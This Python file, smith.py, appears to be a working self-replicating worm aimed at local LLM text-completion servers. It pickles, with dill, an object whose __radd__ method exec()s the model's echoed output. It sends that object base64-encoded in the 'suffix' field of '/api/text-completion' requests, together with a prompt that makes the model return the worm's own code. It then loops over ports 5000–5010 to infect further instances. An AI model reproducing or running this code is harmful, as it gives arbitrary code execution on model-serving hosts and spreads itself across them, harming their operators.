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smith.py
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smith.py
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__all__ = ['smith_prompt', 'smith_suffix', 'smith_max_tokens']
import base64
import dill
from llama_cpp import Llama
#
# smith's prompt
#
smith_code = '''import time
import json
import base64
import random
import threading
import http.client
import dill
def thread_func(time, random):
agent_id = random.randint(0, 2 ** 64)
i = 0
while True:
print('agent', agent_id, 'says hi', i)
i += 1
time.sleep(5.0)
t0 = threading.Thread(target=thread_func, args=(time, random))
t0.start()
def infect_other_host(time, random, http_client, json, base64, dill):
smith_prompt = globals()['__SMITH_PROMPT__']
smith_max_tokens = globals()['__SMITH_MAX_TOKENS__']
smith_suffix = globals()['__SMITH_SUFFIX__']
while True:
port = random.randint(5000, 5010)
print('infecting host on port:', port)
try:
connection = http_client.HTTPConnection('127.0.0.1', port)
headers = {'Content-type': 'application/json'}
req = {
'prompt': smith_prompt,
'suffix': base64.b64encode(dill.dumps(smith_suffix)).decode(),
'n_ctx': 4096,
'max_tokens': smith_max_tokens,
'temperature': 0.1,
}
connection.request('POST', '/api/text-completion', json.dumps(req), headers)
response = connection.getresponse()
print(response.read().decode())
except Exception as e:
print('agent e:', e)
time.sleep(random.randint(5, 10))
t1 = threading.Thread(target=infect_other_host, args=(time, random, http.client, json, base64, dill))
t1.start()
'''
smith_prompt = f'''You just write Python code exactly as provided by User.
<conversation>
The code:
{smith_code}
</conversation>
Return the code:
'''
#
# smith's max_tokens
#
n_ctx = 4096
llm = Llama(model_path='mistral-7b-v0.1.Q5_K_M.gguf', n_ctx=n_ctx, verbose=False)
smith_max_tokens = len(llm.tokenize(smith_code.encode()))
#
# smith's suffix
#
smith_suffix = type('SmithSuffix', (), {
'__radd__': lambda self, other: (
'Hello',
other,
g := {
'__SMITH_PROMPT__': smith_prompt,
'__SMITH_MAX_TOKENS__': smith_max_tokens,
'__SMITH_SUFFIX__': self,
},
l := {},
exec(other, g, l)
)[0]
})()
if __name__ == '__main__':
print(smith_suffix)
a = dill.dumps(smith_suffix)
print(a)
b = dill.loads(a)
print(b)
output = llm(smith_prompt, suffix=smith_suffix, temperature=0.1, max_tokens=smith_max_tokens, echo=False)
print(output)